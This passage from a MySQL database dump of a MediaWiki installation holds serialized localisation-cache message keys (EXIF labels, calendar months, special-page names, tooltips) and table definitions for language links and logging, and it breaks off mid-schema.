sets\";i:2267;s:17:\"exif-rowsperstrip\";i:2268;s:20:\"exif-stripbytecounts\";i:2269;s:26:\"exif-jpeginterchangeformat\";i:2270;s:32:\"exif-jpeginterchangeformatlength\";i:2271;s:21:\"exif-transferfunction\";i:2272;s:15:\"exif-whitepoint\";i:2273;s:26:\"exif-primarychromaticities\";i:2274;s:22:\"exif-ycbcrcoefficients\";i:2275;s:24:\"exif-referenceblackwhite\";i:2276;s:13:\"exif-datetime\";i:2277;s:21:\"exif-imagedescription\";i:2278;s:9:\"exif-make\";i:2279;s:10:\"exif-model\";i:2280;s:13:\"exif-software\";i:2281;s:11:\"exif-artist\";i:2282;s:14:\"exif-copyright\";i:2283;s:16:\"exif-exifversion\";i:2284;s:20:\"exif-flashpixversion\";i:2285;s:15:\"exif-colorspace\";i:2286;s:28:\"exif-componentsconfiguration\";i:2287;s:27:\"exif-compressedbitsperpixel\";i:2288;s:20:\"exif-pixelydimension\";i:2289;s:20:\"exif-pixelxdimension\";i:2290;s:14:\"exif-makernote\";i:2291;s:16:\"exif-usercomment\";i:2292;s:21:\"exif-relatedsoundfile\";i:2293;s:21:\"exif-datetimeoriginal\";i:2294;s:22:\"exif-datetimedigitized\";i:2295;s:15:\"exif-subsectime\";i:2296;s:23:\"exif-subsectimeoriginal\";i:2297;s:24:\"exif-subsectimedigitized\";i:2298;s:17:\"exif-exposuretime\";i:2299;s:24:\"exif-exposuretime-format\";i:2300;s:12:\"exif-fnumber\";i:2301;s:19:\"exif-fnumber-format\";i:2302;s:20:\"exif-exposureprogram\";i:2303;s:24:\"exif-spectralsensitivity\";i:2304;s:20:\"exif-isospeedratings\";i:2305;s:9:\"exif-oecf\";i:2306;s:22:\"exif-shutterspeedvalue\";i:2307;s:18:\"exif-aperturevalue\";i:2308;s:20:\"exif-brightnessvalue\";i:2309;s:22:\"exif-exposurebiasvalue\";i:2310;s:21:\"exif-maxaperturevalue\";i:2311;s:20:\"exif-subjectdistance\";i:2312;s:17:\"exif-meteringmode\";i:2313;s:16:\"exif-lightsource\";i:2314;s:10:\"exif-flash\";i:2315;s:16:\"exif-focallength\";i:2316;s:23:\"exif-focallength-format\";i:2317;s:16:\"exif-subjectarea\";i:2318;s:16:\"exif-flashenergy\";i:2319;s:29:\"exif-spatialfrequencyresponse\";i:2320;s:26:\"exif-focalplanexresolution\";i:2321;s:26:\"exif-focalplaneyresolution\";i:2322;s:29:\"exif-focalplaneresolutionunit\";i:2323;s:20:\"exif-subjectlocation\";i:2324;s:18:\"exif-exposureindex\";i:2325;s:18:\"exif-sensingmethod\";i:2326;s:15:\"exif-filesource\";i:2327;s:14:\"exif-scenetype\";i:2328;s:15:\"exif-cfapattern\";i:2329;s:19:\"exif-customrendered\";i:2330;s:17:\"exif-exposuremode\";i:2331;s:17:\"exif-whitebalance\";i:2332;s:21:\"exif-digitalzoomratio\";i:2333;s:26:\"exif-focallengthin35mmfilm\";i:2334;s:21:\"exif-scenecapturetype\";i:2335;s:16:\"exif-gaincontrol\";i:2336;s:13:\"exif-contrast\";i:2337;s:15:\"exif-saturation\";i:2338;s:14:\"exif-sharpness\";i:2339;s:29:\"exif-devicesettingdescription\";i:2340;s:25:\"exif-subjectdistancerange\";i:2341;s:18:\"exif-imageuniqueid\";i:2342;s:17:\"exif-gpsversionid\";i:2343;s:19:\"exif-gpslatituderef\";i:2344;s:16:\"exif-gpslatitude\";i:2345;s:20:\"exif-gpslongituderef\";i:2346;s:17:\"exif-gpslongitude\";i:2347;s:19:\"exif-gpsaltituderef\";i:2348;s:16:\"exif-gpsaltitude\";i:2349;s:17:\"exif-gpstimestamp\";i:2350;s:18:\"exif-gpssatellites\";i:2351;s:14:\"exif-gpsstatus\";i:2352;s:19:\"exif-gpsmeasuremode\";i:2353;s:11:\"exif-gpsdop\";i:2354;s:16:\"exif-gpsspeedref\";i:2355;s:13:\"exif-gpsspeed\";i:2356;s:16:\"exif-gpstrackref\";i:2357;s:13:\"exif-gpstrack\";i:2358;s:23:\"exif-gpsimgdirectionref\";i:2359;s:20:\"exif-gpsimgdirection\";i:2360;s:16:\"exif-gpsmapdatum\";i:2361;s:23:\"exif-gpsdestlatituderef\";i:2362;s:20:\"exif-gpsdestlatitude\";i:2363;s:24:\"exif-gpsdestlongituderef\";i:2364;s:21:\"exif-gpsdestlongitude\";i:2365;s:22:\"exif-gpsdestbearingref\";i:2366;s:19:\"exif-gpsdestbearing\";i:2367;s:23:\"exif-gpsdestdistanceref\";i:2368;s:20:\"exif-gpsdestdistance\";i:2369;s:24:\"exif-gpsprocessingmethod\";i:2370;s:23:\"exif-gpsareainformation\";i:2371;s:17:\"exif-gpsdatestamp\";i:2372;s:20:\"exif-gpsdifferential\";i:2373;s:15:\"exif-make-value\";i:2374;s:16:\"exif-model-value\";i:2375;s:19:\"exif-software-value\";i:2376;s:18:\"exif-compression-1\";i:2377;s:18:\"exif-compression-6\";i:2378;s:32:\"exif-photometricinterpretation-2\";i:2379;s:32:\"exif-photometricinterpretation-6\";i:2380;s:16:\"exif-unknowndate\";i:2381;s:18:\"exif-orientation-1\";i:2382;s:18:\"exif-orientation-2\";i:2383;s:18:\"exif-orientation-3\";i:2384;s:18:\"exif-orientation-4\";i:2385;s:18:\"exif-orientation-5\";i:2386;s:18:\"exif-orientation-6\";i:2387;s:18:\"exif-orientation-7\";i:2388;s:18:\"exif-orientation-8\";i:2389;s:26:\"exif-planarconfiguration-1\";i:2390;s:26:\"exif-planarconfiguration-2\";i:2391;s:19:\"exif-xyresolution-i\";i:2392;s:19:\"exif-xyresolution-c\";i:2393;s:17:\"exif-colorspace-1\";i:2394;s:22:\"exif-colorspace-ffff.h\";i:2395;s:30:\"exif-componentsconfiguration-0\";i:2396;s:30:\"exif-componentsconfiguration-1\";i:2397;s:30:\"exif-componentsconfiguration-2\";i:2398;s:30:\"exif-componentsconfiguration-3\";i:2399;s:30:\"exif-componentsconfiguration-4\";i:2400;s:30:\"exif-componentsconfiguration-5\";i:2401;s:30:\"exif-componentsconfiguration-6\";i:2402;s:22:\"exif-exposureprogram-0\";i:2403;s:22:\"exif-exposureprogram-1\";i:2404;s:22:\"exif-exposureprogram-2\";i:2405;s:22:\"exif-exposureprogram-3\";i:2406;s:22:\"exif-exposureprogram-4\";i:2407;s:22:\"exif-exposureprogram-5\";i:2408;s:22:\"exif-exposureprogram-6\";i:2409;s:22:\"exif-exposureprogram-7\";i:2410;s:22:\"exif-exposureprogram-8\";i:2411;s:26:\"exif-subjectdistance-value\";i:2412;s:19:\"exif-meteringmode-0\";i:2413;s:19:\"exif-meteringmode-1\";i:2414;s:19:\"exif-meteringmode-2\";i:2415;s:19:\"exif-meteringmode-3\";i:2416;s:19:\"exif-meteringmode-4\";i:2417;s:19:\"exif-meteringmode-5\";i:2418;s:19:\"exif-meteringmode-6\";i:2419;s:21:\"exif-meteringmode-255\";i:2420;s:18:\"exif-lightsource-0\";i:2421;s:18:\"exif-lightsource-1\";i:2422;s:18:\"exif-lightsource-2\";i:2423;s:18:\"exif-lightsource-3\";i:2424;s:18:\"exif-lightsource-4\";i:2425;s:18:\"exif-lightsource-9\";i:2426;s:19:\"exif-lightsource-10\";i:2427;s:19:\"exif-lightsource-11\";i:2428;s:19:\"exif-lightsource-12\";i:2429;s:19:\"exif-lightsource-13\";i:2430;s:19:\"exif-lightsource-14\";i:2431;s:19:\"exif-lightsource-15\";i:2432;s:19:\"exif-lightsource-17\";i:2433;s:19:\"exif-lightsource-18\";i:2434;s:19:\"exif-lightsource-19\";i:2435;s:19:\"exif-lightsource-20\";i:2436;s:19:\"exif-lightsource-21\";i:2437;s:19:\"exif-lightsource-22\";i:2438;s:19:\"exif-lightsource-23\";i:2439;s:19:\"exif-lightsource-24\";i:2440;s:20:\"exif-lightsource-255\";i:2441;s:18:\"exif-flash-fired-0\";i:2442;s:18:\"exif-flash-fired-1\";i:2443;s:19:\"exif-flash-return-0\";i:2444;s:19:\"exif-flash-return-2\";i:2445;s:19:\"exif-flash-return-3\";i:2446;s:17:\"exif-flash-mode-1\";i:2447;s:17:\"exif-flash-mode-2\";i:2448;s:17:\"exif-flash-mode-3\";i:2449;s:21:\"exif-flash-function-1\";i:2450;s:19:\"exif-flash-redeye-1\";i:2451;s:31:\"exif-focalplaneresolutionunit-2\";i:2452;s:20:\"exif-sensingmethod-1\";i:2453;s:20:\"exif-sensingmethod-2\";i:2454;s:20:\"exif-sensingmethod-3\";i:2455;s:20:\"exif-sensingmethod-4\";i:2456;s:20:\"exif-sensingmethod-5\";i:2457;s:20:\"exif-sensingmethod-7\";i:2458;s:20:\"exif-sensingmethod-8\";i:2459;s:17:\"exif-filesource-3\";i:2460;s:16:\"exif-scenetype-1\";i:2461;s:21:\"exif-customrendered-0\";i:2462;s:21:\"exif-customrendered-1\";i:2463;s:19:\"exif-exposuremode-0\";i:2464;s:19:\"exif-exposuremode-1\";i:2465;s:19:\"exif-exposuremode-2\";i:2466;s:19:\"exif-whitebalance-0\";i:2467;s:19:\"exif-whitebalance-1\";i:2468;s:23:\"exif-scenecapturetype-0\";i:2469;s:23:\"exif-scenecapturetype-1\";i:2470;s:23:\"exif-scenecapturetype-2\";i:2471;s:23:\"exif-scenecapturetype-3\";i:2472;s:18:\"exif-gaincontrol-0\";i:2473;s:18:\"exif-gaincontrol-1\";i:2474;s:18:\"exif-gaincontrol-2\";i:2475;s:18:\"exif-gaincontrol-3\";i:2476;s:18:\"exif-gaincontrol-4\";i:2477;s:15:\"exif-contrast-0\";i:2478;s:15:\"exif-contrast-1\";i:2479;s:15:\"exif-contrast-2\";i:2480;s:17:\"exif-saturation-0\";i:2481;s:17:\"exif-saturation-1\";i:2482;s:17:\"exif-saturation-2\";i:2483;s:16:\"exif-sharpness-0\";i:2484;s:16:\"exif-sharpness-1\";i:2485;s:16:\"exif-sharpness-2\";i:2486;s:27:\"exif-subjectdistancerange-0\";i:2487;s:27:\"exif-subjectdistancerange-1\";i:2488;s:27:\"exif-subjectdistancerange-2\";i:2489;s:27:\"exif-subjectdistancerange-3\";i:2490;s:18:\"exif-gpslatitude-n\";i:2491;s:18:\"exif-gpslatitude-s\";i:2492;s:19:\"exif-gpslongitude-e\";i:2493;s:19:\"exif-gpslongitude-w\";i:2494;s:16:\"exif-gpsstatus-a\";i:2495;s:16:\"exif-gpsstatus-v\";i:2496;s:21:\"exif-gpsmeasuremode-2\";i:2497;s:21:\"exif-gpsmeasuremode-3\";i:2498;s:15:\"exif-gpsspeed-k\";i:2499;s:15:\"exif-gpsspeed-m\";i:2500;s:15:\"exif-gpsspeed-n\";i:2501;s:19:\"exif-gpsdirection-t\";i:2502;s:19:\"exif-gpsdirection-m\";i:2503;s:15:\"edit-externally\";i:2504;s:20:\"edit-externally-help\";i:2505;s:16:\"recentchangesall\";i:2506;s:12:\"imagelistall\";i:2507;s:13:\"watchlistall2\";i:2508;s:13:\"namespacesall\";i:2509;s:9:\"monthsall\";i:2510;s:8:\"limitall\";i:2511;s:12:\"confirmemail\";i:2512;s:20:\"confirmemail_noemail\";i:2513;s:17:\"confirmemail_text\";i:2514;s:20:\"confirmemail_pending\";i:2515;s:17:\"confirmemail_send\";i:2516;s:17:\"confirmemail_sent\";i:2517;s:21:\"confirmemail_oncreate\";i:2518;s:23:\"confirmemail_sendfailed\";i:2519;s:20:\"confirmemail_invalid\";i:2520;s:22:\"confirmemail_needlogin\";i:2521;s:20:\"confirmemail_success\";i:2522;s:21:\"confirmemail_loggedin\";i:2523;s:18:\"confirmemail_error\";i:2524;s:20:\"confirmemail_subject\";i:2525;s:17:\"confirmemail_body\";i:2526;s:24:\"confirmemail_invalidated\";i:2527;s:15:\"invalidateemail\";i:2528;s:23:\"scarytranscludedisabled\";i:2529;s:21:\"scarytranscludefailed\";i:2530;s:22:\"scarytranscludetoolong\";i:2531;s:12:\"trackbackbox\";i:2532;s:9:\"trackback\";i:2533;s:16:\"trackbackexcerpt\";i:2534;s:15:\"trackbackremove\";i:2535;s:13:\"trackbacklink\";i:2536;s:17:\"trackbackdeleteok\";i:2537;s:19:\"deletedwhileediting\";i:2538;s:15:\"confirmrecreate\";i:2539;s:8:\"recreate\";i:2540;s:10:\"unit-pixel\";i:2541;s:20:\"confirm_purge_button\";i:2542;s:17:\"confirm-purge-top\";i:2543;s:20:\"confirm-purge-bottom\";i:2544;s:12:\"catseparator\";i:2545;s:19:\"semicolon-separator\";i:2546;s:15:\"comma-separator\";i:2547;s:15:\"colon-separator\";i:2548;s:18:\"autocomment-prefix\";i:2549;s:14:\"pipe-separator\";i:2550;s:14:\"word-separator\";i:2551;s:8:\"ellipsis\";i:2552;s:7:\"percent\";i:2553;s:11:\"parentheses\";i:2554;s:16:\"imgmultipageprev\";i:2555;s:16:\"imgmultipagenext\";i:2556;s:10:\"imgmultigo\";i:2557;s:12:\"imgmultigoto\";i:2558;s:16:\"ascending_abbrev\";i:2559;s:17:\"descending_abbrev\";i:2560;s:16:\"table_pager_next\";i:2561;s:16:\"table_pager_prev\";i:2562;s:17:\"table_pager_first\";i:2563;s:16:\"table_pager_last\";i:2564;s:17:\"table_pager_limit\";i:2565;s:24:\"table_pager_limit_submit\";i:2566;s:17:\"table_pager_empty\";i:2567;s:14:\"autosumm-blank\";i:2568;s:16:\"autosumm-replace\";i:2569;s:16:\"autoredircomment\";i:2570;s:12:\"autosumm-new\";i:2571;s:19:\"autoblock_whitelist\";i:2572;s:10:\"size-bytes\";i:2573;s:14:\"size-kilobytes\";i:2574;s:14:\"size-megabytes\";i:2575;s:14:\"size-gigabytes\";i:2576;s:19:\"livepreview-loading\";i:2577;s:17:\"livepreview-ready\";i:2578;s:18:\"livepreview-failed\";i:2579;s:17:\"livepreview-error\";i:2580;s:15:\"lag-warn-normal\";i:2581;s:13:\"lag-warn-high\";i:2582;s:22:\"watchlistedit-numitems\";i:2583;s:21:\"watchlistedit-noitems\";i:2584;s:26:\"watchlistedit-normal-title\";i:2585;s:27:\"watchlistedit-normal-legend\";i:2586;s:28:\"watchlistedit-normal-explain\";i:2587;s:27:\"watchlistedit-normal-submit\";i:2588;s:25:\"watchlistedit-normal-done\";i:2589;s:23:\"watchlistedit-raw-title\";i:2590;s:24:\"watchlistedit-raw-legend\";i:2591;s:25:\"watchlistedit-raw-explain\";i:2592;s:24:\"watchlistedit-raw-titles\";i:2593;s:24:\"watchlistedit-raw-submit\";i:2594;s:22:\"watchlistedit-raw-done\";i:2595;s:23:\"watchlistedit-raw-added\";i:2596;s:25:\"watchlistedit-raw-removed\";i:2597;s:19:\"watchlisttools-view\";i:2598;s:19:\"watchlisttools-edit\";i:2599;s:18:\"watchlisttools-raw\";i:2600;s:19:\"iranian-calendar-m1\";i:2601;s:19:\"iranian-calendar-m2\";i:2602;s:19:\"iranian-calendar-m3\";i:2603;s:19:\"iranian-calendar-m4\";i:2604;s:19:\"iranian-calendar-m5\";i:2605;s:19:\"iranian-calendar-m6\";i:2606;s:19:\"iranian-calendar-m7\";i:2607;s:19:\"iranian-calendar-m8\";i:2608;s:19:\"iranian-calendar-m9\";i:2609;s:20:\"iranian-calendar-m10\";i:2610;s:20:\"iranian-calendar-m11\";i:2611;s:20:\"iranian-calendar-m12\";i:2612;s:17:\"hijri-calendar-m1\";i:2613;s:17:\"hijri-calendar-m2\";i:2614;s:17:\"hijri-calendar-m3\";i:2615;s:17:\"hijri-calendar-m4\";i:2616;s:17:\"hijri-calendar-m5\";i:2617;s:17:\"hijri-calendar-m6\";i:2618;s:17:\"hijri-calendar-m7\";i:2619;s:17:\"hijri-calendar-m8\";i:2620;s:17:\"hijri-calendar-m9\";i:2621;s:18:\"hijri-calendar-m10\";i:2622;s:18:\"hijri-calendar-m11\";i:2623;s:18:\"hijri-calendar-m12\";i:2624;s:18:\"hebrew-calendar-m1\";i:2625;s:18:\"hebrew-calendar-m2\";i:2626;s:18:\"hebrew-calendar-m3\";i:2627;s:18:\"hebrew-calendar-m4\";i:2628;s:18:\"hebrew-calendar-m5\";i:2629;s:18:\"hebrew-calendar-m6\";i:2630;s:19:\"hebrew-calendar-m6a\";i:2631;s:19:\"hebrew-calendar-m6b\";i:2632;s:18:\"hebrew-calendar-m7\";i:2633;s:18:\"hebrew-calendar-m8\";i:2634;s:18:\"hebrew-calendar-m9\";i:2635;s:19:\"hebrew-calendar-m10\";i:2636;s:19:\"hebrew-calendar-m11\";i:2637;s:19:\"hebrew-calendar-m12\";i:2638;s:22:\"hebrew-calendar-m1-gen\";i:2639;s:22:\"hebrew-calendar-m2-gen\";i:2640;s:22:\"hebrew-calendar-m3-gen\";i:2641;s:22:\"hebrew-calendar-m4-gen\";i:2642;s:22:\"hebrew-calendar-m5-gen\";i:2643;s:22:\"hebrew-calendar-m6-gen\";i:2644;s:23:\"hebrew-calendar-m6a-gen\";i:2645;s:23:\"hebrew-calendar-m6b-gen\";i:2646;s:22:\"hebrew-calendar-m7-gen\";i:2647;s:22:\"hebrew-calendar-m8-gen\";i:2648;s:22:\"hebrew-calendar-m9-gen\";i:2649;s:23:\"hebrew-calendar-m10-gen\";i:2650;s:23:\"hebrew-calendar-m11-gen\";i:2651;s:23:\"hebrew-calendar-m12-gen\";i:2652;s:9:\"signature\";i:2653;s:14:\"signature-anon\";i:2654;s:12:\"timezone-utc\";i:2655;s:21:\"unknown_extension_tag\";i:2656;s:21:\"duplicate-defaultsort\";i:2657;s:7:\"version\";i:2658;s:18:\"version-extensions\";i:2659;s:20:\"version-specialpages\";i:2660;s:19:\"version-parserhooks\";i:2661;s:17:\"version-variables\";i:2662;s:13:\"version-other\";i:2663;s:21:\"version-mediahandlers\";i:2664;s:13:\"version-hooks\";i:2665;s:27:\"version-extension-functions\";i:2666;s:28:\"version-parser-extensiontags\";i:2667;s:29:\"version-parser-function-hooks\";i:2668;s:32:\"version-skin-extension-functions\";i:2669;s:17:\"version-hook-name\";i:2670;s:25:\"version-hook-subscribedby\";i:2671;s:15:\"version-version\";i:2672;s:20:\"version-svn-revision\";i:2673;s:15:\"version-license\";i:2674;s:16:\"version-software\";i:2675;s:24:\"version-software-product\";i:2676;s:24:\"version-software-version\";i:2677;s:8:\"filepath\";i:2678;s:13:\"filepath-page\";i:2679;s:15:\"filepath-submit\";i:2680;s:16:\"filepath-summary\";i:2681;s:19:\"fileduplicatesearch\";i:2682;s:27:\"fileduplicatesearch-summary\";i:2683;s:26:\"fileduplicatesearch-legend\";i:2684;s:28:\"fileduplicatesearch-filename\";i:2685;s:26:\"fileduplicatesearch-submit\";i:2686;s:24:\"fileduplicatesearch-info\";i:2687;s:28:\"fileduplicatesearch-result-1\";i:2688;s:28:\"fileduplicatesearch-result-n\";i:2689;s:12:\"specialpages\";i:2690;s:20:\"specialpages-summary\";i:2691;s:17:\"specialpages-note\";i:2692;s:30:\"specialpages-group-maintenance\";i:2693;s:24:\"specialpages-group-other\";i:2694;s:24:\"specialpages-group-login\";i:2695;s:26:\"specialpages-group-changes\";i:2696;s:24:\"specialpages-group-media\";i:2697;s:24:\"specialpages-group-users\";i:2698;s:26:\"specialpages-group-highuse\";i:2699;s:24:\"specialpages-group-pages\";i:2700;s:28:\"specialpages-group-pagetools\";i:2701;s:23:\"specialpages-group-wiki\";i:2702;s:28:\"specialpages-group-redirects\";i:2703;s:23:\"specialpages-group-spam\";i:2704;s:9:\"blankpage\";i:2705;s:22:\"intentionallyblankpage\";i:2706;s:24:\"external_image_whitelist\";i:2707;s:4:\"tags\";i:2708;s:10:\"tag-filter\";i:2709;s:17:\"tag-filter-submit\";i:2710;s:10:\"tags-title\";i:2711;s:10:\"tags-intro\";i:2712;s:8:\"tags-tag\";i:2713;s:19:\"tags-display-header\";i:2714;s:23:\"tags-description-header\";i:2715;s:20:\"tags-hitcount-header\";i:2716;s:9:\"tags-edit\";i:2717;s:13:\"tags-hitcount\";i:2718;s:12:\"dberr-header\";i:2719;s:14:\"dberr-problems\";i:2720;s:11:\"dberr-again\";i:2721;s:10:\"dberr-info\";i:2722;s:15:\"dberr-usegoogle\";i:2723;s:15:\"dberr-outofdate\";i:2724;s:17:\"dberr-cachederror\";i:2725;s:22:\"htmlform-invalid-input\";i:2726;s:25:\"htmlform-select-badoption\";i:2727;s:20:\"htmlform-int-invalid\";i:2728;s:22:\"htmlform-float-invalid\";i:2729;s:19:\"htmlform-int-toolow\";i:2730;s:20:\"htmlform-int-toohigh\";i:2731;s:15:\"htmlform-submit\";i:2732;s:14:\"htmlform-reset\";i:2733;s:28:\"htmlform-selectorother-other\";}}'),('en','preload','a:4:{s:8:\"messages\";a:96:{s:9:\"aboutpage\";s:13:\"Project:About\";s:9:\"aboutsite\";s:18:\"About {{SITENAME}}\";s:17:\"accesskey-ca-edit\";s:1:\"e\";s:20:\"accesskey-ca-history\";s:1:\"h\";s:23:\"accesskey-ca-nstab-main\";s:1:\"c\";s:17:\"accesskey-ca-talk\";s:1:\"t\";s:25:\"accesskey-n-currentevents\";s:0:\"\";s:16:\"accesskey-n-help\";s:0:\"\";s:32:\"accesskey-n-mainpage-description\";s:1:\"z\";s:18:\"accesskey-n-portal\";s:0:\"\";s:22:\"accesskey-n-randompage\";s:1:\"x\";s:25:\"accesskey-n-recentchanges\";s:1:\"r\";s:23:\"accesskey-n-sitesupport\";N;s:16:\"accesskey-p-logo\";s:0:\"\";s:18:\"accesskey-pt-login\";s:1:\"o\";s:16:\"accesskey-search\";s:1:\"f\";s:25:\"accesskey-search-fulltext\";s:0:\"\";s:19:\"accesskey-search-go\";s:0:\"\";s:21:\"accesskey-t-permalink\";s:0:\"\";s:17:\"accesskey-t-print\";s:1:\"p\";s:31:\"accesskey-t-recentchangeslinked\";s:1:\"k\";s:24:\"accesskey-t-specialpages\";s:1:\"q\";s:25:\"accesskey-t-whatlinkshere\";s:1:\"j\";s:10:\"anonnotice\";s:1:\"-\";s:12:\"catseparator\";s:1:\"|\";s:15:\"colon-separator\";s:6:\":&#32;\";s:13:\"currentevents\";s:14:\"Current events\";s:17:\"currentevents-url\";s:22:\"Project:Current events\";s:14:\"disclaimerpage\";s:26:\"Project:General disclaimer\";s:11:\"disclaimers\";s:11:\"Disclaimers\";s:4:\"edit\";s:4:\"Edit\";s:4:\"help\";s:4:\"Help\";s:8:\"helppage\";s:13:\"Help:Contents\";s:13:\"history_short\";s:7:\"History\";s:6:\"jumpto\";s:8:\"Jump to:\";s:16:\"jumptonavigation\";s:10:\"navigation\";s:12:\"jumptosearch\";s:6:\"search\";s:14:\"lastmodifiedat\";s:41:\"This page was last modified on $1, at $2.\";s:8:\"mainpage\";s:9:\"Main Page\";s:20:\"mainpage-description\";s:9:\"Main page\";s:23:\"nav-login-createaccount\";s:23:\"Log in / create account\";s:10:\"navigation\";s:10:\"Navigation\";s:10:\"nstab-main\";s:4:\"Page\";s:15:\"opensearch-desc\";s:34:\"{{SITENAME}} ({{CONTENTLANGUAGE}})\";s:14:\"pagecategories\";s:33:\"{{PLURAL:$1|Category|Categories}}\";s:18:\"pagecategorieslink\";s:18:\"Special:Categories\";s:9:\"pagetitle\";s:17:\"$1 - {{SITENAME}}\";s:23:\"pagetitle-view-mainpage\";s:12:\"{{SITENAME}}\";s:9:\"permalink\";s:14:\"Permanent link\";s:13:\"personaltools\";s:14:\"Personal tools\";s:6:\"portal\";s:16:\"Community portal\";s:10:\"portal-url\";s:24:\"Project:Community portal\";s:16:\"printableversion\";s:17:\"Printable version\";s:7:\"privacy\";s:14:\"Privacy policy\";s:11:\"privacypage\";s:22:\"Project:Privacy policy\";s:10:\"randompage\";s:11:\"Random page\";s:14:\"randompage-url\";s:14:\"Special:Random\";s:13:\"recentchanges\";s:14:\"Recent changes\";s:17:\"recentchanges-url\";s:21:\"Special:RecentChanges\";s:27:\"recentchangeslinked-toolbox\";s:15:\"Related changes\";s:13:\"retrievedfrom\";s:19:\"Retrieved from \"$1\"\";s:6:\"search\";s:6:\"Search\";s:13:\"searcharticle\";s:2:\"Go\";s:12:\"searchbutton\";s:6:\"Search\";s:7:\"sidebar\";s:214:\"\n* navigation\n** mainpage|mainpage-description\n** portal-url|portal\n** currentevents-url|currentevents\n** recentchanges-url|recentchanges\n** randompage-url|randompage\n** helppage|help\n* SEARCH\n* TOOLBOX\n* LANGUAGES\";s:14:\"site-atom-feed\";s:12:\"$1 Atom feed\";s:13:\"site-rss-feed\";s:11:\"$1 RSS feed\";s:10:\"sitenotice\";s:1:\"-\";s:12:\"specialpages\";s:13:\"Special pages\";s:7:\"tagline\";s:17:\"From {{SITENAME}}\";s:4:\"talk\";s:10:\"Discussion\";s:7:\"toolbox\";s:7:\"Toolbox\";s:15:\"tooltip-ca-edit\";s:67:\"You can edit this page. Please use the preview button before saving\";s:18:\"tooltip-ca-history\";s:27:\"Past revisions of this page\";s:21:\"tooltip-ca-nstab-main\";s:21:\"View the content page\";s:15:\"tooltip-ca-talk\";s:33:\"Discussion about the content page\";s:23:\"tooltip-n-currentevents\";s:45:\"Find background information on current events\";s:14:\"tooltip-n-help\";s:21:\"The place to find out\";s:30:\"tooltip-n-mainpage-description\";s:19:\"Visit the main page\";s:16:\"tooltip-n-portal\";s:56:\"About the project, what you can do, where to find things\";s:20:\"tooltip-n-randompage\";s:18:\"Load a random page\";s:23:\"tooltip-n-recentchanges\";s:38:\"The list of recent changes in the wiki\";s:21:\"tooltip-n-sitesupport\";N;s:14:\"tooltip-p-logo\";s:19:\"Visit the main page\";s:20:\"tooltip-p-navigation\";N;s:16:\"tooltip-pt-login\";s:58:\"You are encouraged to log in; however, it is not mandatory\";s:14:\"tooltip-search\";s:19:\"Search {{SITENAME}}\";s:23:\"tooltip-search-fulltext\";s:30:\"Search the pages for this text\";s:17:\"tooltip-search-go\";s:43:\"Go to a page with this exact name if exists\";s:19:\"tooltip-t-permalink\";s:43:\"Permanent link to this revision of the page\";s:15:\"tooltip-t-print\";s:30:\"Printable version of this page\";s:29:\"tooltip-t-recentchangeslinked\";s:45:\"Recent changes in pages linked from this page\";s:22:\"tooltip-t-specialpages\";s:25:\"List of all special pages\";s:23:\"tooltip-t-whatlinkshere\";s:37:\"List of all wiki pages that link here\";s:5:\"views\";s:5:\"Views\";s:13:\"whatlinkshere\";s:15:\"What links here\";}s:11:\"dateFormats\";a:12:{s:8:\"mdy time\";s:3:\"H:i\";s:8:\"mdy date\";s:6:\"F j, Y\";s:8:\"mdy both\";s:11:\"H:i, F j, Y\";s:8:\"dmy time\";s:3:\"H:i\";s:8:\"dmy date\";s:5:\"j F Y\";s:8:\"dmy both\";s:10:\"H:i, j F Y\";s:8:\"ymd time\";s:3:\"H:i\";s:8:\"ymd date\";s:5:\"Y F j\";s:8:\"ymd both\";s:10:\"H:i, Y F j\";s:13:\"ISO 8601 time\";s:11:\"xnH:xni:xns\";s:13:\"ISO 8601 date\";s:11:\"xnY-xnm-xnd\";s:13:\"ISO 8601 both\";s:25:\"xnY-xnm-xnd\"T\"xnH:xni:xns\";}s:14:\"namespaceNames\";a:17:{i:-2;s:5:\"Media\";i:-1;s:7:\"Special\";i:0;s:0:\"\";i:1;s:4:\"Talk\";i:2;s:4:\"User\";i:3;s:9:\"User_talk\";i:5;s:7:\"$1_talk\";i:6;s:4:\"File\";i:7;s:9:\"File_talk\";i:8;s:9:\"MediaWiki\";i:9;s:14:\"MediaWiki_talk\";i:10;s:8:\"Template\";i:11;s:13:\"Template_talk\";i:12;s:4:\"Help\";i:13;s:9:\"Help_talk\";i:14;s:8:\"Category\";i:15;s:13:\"Category_talk\";}s:26:\"defaultUserOptionOverrides\";a:0:{}}');
/*!40000 ALTER TABLE `mw_l10n_cache` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_langlinks`
--

DROP TABLE IF EXISTS `mw_langlinks`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_langlinks` (
  `ll_from` int(10) unsigned NOT NULL default '0',
  `ll_lang` varbinary(20) NOT NULL default '',
  `ll_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  UNIQUE KEY `ll_from` (`ll_from`,`ll_lang`),
  KEY `ll_lang` (`ll_lang`,`ll_title`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_langlinks`
--

LOCK TABLES `mw_langlinks` WRITE;
/*!40000 ALTER TABLE `mw_langlinks` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_langlinks` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_log_search`
--

DROP TABLE IF EXISTS `mw_log_search`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_log_search` (
  `ls_field` varbinary(32) NOT NULL,
  `ls_value` varchar(255) NOT NULL,
  `ls_log_id` int(10) unsigned NOT NULL default '0',
  UNIQUE KEY `ls_field_val` (`ls_field`,`ls_value`,`ls_log_id`),
  KEY `ls_log_id` (`ls_log_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_log_search`
--

LOCK TABLES `mw_log_search` WRITE;
/*!40000 ALTER TABLE `mw_log_search` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_log_search` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_logging`
--

DROP TABLE IF EXISTS `mw_logging`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_logging` (
  `log_type` varbinary(32) NOT NULL,
  `log_action` varbinary(32) NOT NULL,
  `log_timestamp` varbinary(14) NOT NULL default '19700101000000',
